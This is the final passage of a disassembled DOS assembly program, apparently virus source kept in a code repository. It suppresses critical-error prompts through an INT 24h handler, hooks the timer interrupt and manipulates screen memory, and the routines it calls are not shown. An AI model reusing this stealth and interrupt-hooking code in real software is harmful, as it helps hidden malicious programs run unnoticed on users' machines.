je loc_37 ; Jump if equal
|
||||
pop ds
|
||||
call sub_17
|
||||
push cs
|
||||
pop ds
|
||||
retn
|
||||
|
||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
||||
sub_15:
|
||||
cmp bl,0Ch
|
||||
jbe loc_ret_36 ; Jump if below or =
|
||||
sub bl,0Ch
|
||||
|
||||
loc_ret_36:
|
||||
retn
|
||||
loc_37:
|
||||
pop ax
|
||||
retn
|
||||
sub_14 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_16 proc near
|
||||
mov dx,offset int_24h_entry
|
||||
mov ax,2524h
|
||||
int 21h ; DOS Services ah=function 25h
|
||||
; set intrpt vector al to ds:dx
|
||||
cmp byte ptr data_53,43h ; 'C'
|
||||
jne loc_38 ; Jump if not equal
|
||||
call sub_4
|
||||
jmp short loc_39
|
||||
db 90h
|
||||
loc_38:
|
||||
call sub_5
|
||||
loc_39:
|
||||
push ds
|
||||
mov dx,data_40
|
||||
mov ax,data_39
|
||||
mov ds,ax
|
||||
mov ax,2524h
|
||||
int 21h ; DOS Services ah=function 25h
|
||||
; set intrpt vector al to ds:dx
|
||||
pop ds
|
||||
retn
|
||||
sub_16 endp
|
||||
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;
|
||||
; External Entry Point
|
||||
;
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
int_24h_entry proc far
|
||||
mov al,3
|
||||
iret ; Interrupt return
|
||||
int_24h_entry endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_17 proc near
|
||||
;* mov dx,offset loc_47 ;*
|
||||
db 0BAh,0B0h, 06h
|
||||
mov ax,251Ch
|
||||
int 21h ; DOS Services ah=function 25h
|
||||
; set intrpt vector al to ds:dx
|
||||
mov byte ptr ds:data_56e,90h
|
||||
nop
|
||||
mov ax,0B800h
|
||||
mov es,ax
|
||||
mov di,data_55e
|
||||
mov ax,720h
|
||||
mov cx,0Bh
|
||||
repne stosw ; Rep zf=0+cx >0 Store ax to es:[di]
|
||||
push cs
|
||||
pop es
|
||||
retn
|
||||
sub_17 endp
|
||||
|
||||
db 0, 0
|
||||
data_48 db 0
|
||||
data_49 dw 720h
|
||||
data_50 db 0Fh
|
||||
db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh
|
||||
db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh
|
||||
db 0Ah, 0Fh, 08h,0FEh, 0Eh
|
||||
data_51 db 0EEh
|
||||
db 0Ch
|
||||
data_52 db 90h
|
||||
db 0FBh, 50h, 51h, 52h, 53h, 55h
|
||||
db 56h, 57h, 1Eh, 06h, 0Eh, 1Fh
|
||||
db 0EBh, 0Bh, 90h
|
||||
loc_40:
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop bp
|
||||
pop bx
|
||||
pop dx
|
||||
pop cx
|
||||
pop ax
|
||||
iret ; Interrupt return
|
||||
db 0B8h, 00h,0B8h, 8Eh,0C0h
|
||||
db 0BFh,0A0h, 0Fh
|
||||
db 0BEh, 9Ah, 06h,0B9h, 16h, 00h
|
||||
db 0F2h,0A4h, 80h, 3Eh,0AEh, 06h
|
||||
db 0EEh, 74h, 08h,0C6h, 06h,0AEh
|
||||
db 06h,0EEh,0EBh, 06h, 90h
|
||||
loc_42:
|
||||
mov data_51,0F0h
|
||||
loc_43:
|
||||
mov ax,es:[di]
|
||||
mov ah,0Eh
|
||||
mov data_49,ax
|
||||
mov data_48,0
|
||||
jmp short loc_40
|
||||
db 0BFh, 00h, 00h
|
||||
loc_44:
|
||||
mov si,offset data_50
|
||||
push di
|
||||
mov cx,12h
|
||||
cld ; Clear direction
|
||||
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
|
||||
pop di
|
||||
jz loc_45 ; Jump if zero
|
||||
inc di
|
||||
inc di
|
||||
cmp di,0FA0h
|
||||
jne loc_44 ; Jump if not equal
|
||||
mov di,0
|
||||
loc_45:
|
||||
cmp di,0F9Eh
|
||||
jne loc_ret_46 ; Jump if not equal
|
||||
mov data_52,0CFh
|
||||
|
||||
loc_ret_46:
|
||||
retn
|
||||
data_53 db 43h
|
||||
db 0Ch, 0Ah, 45h, 00h,0CBh, 87h
|
||||
db 0BFh, 1Dh, 25h, 1Eh, 57h, 9Ah
|
||||
db 83h, 00h,0CBh, 87h,0E8h
|
||||
db 2Eh
|
||||
|
||||
seg_a ends
|
||||
|
||||
|
||||
|
||||
end start
|
||||
Reference in New Issue
Block a user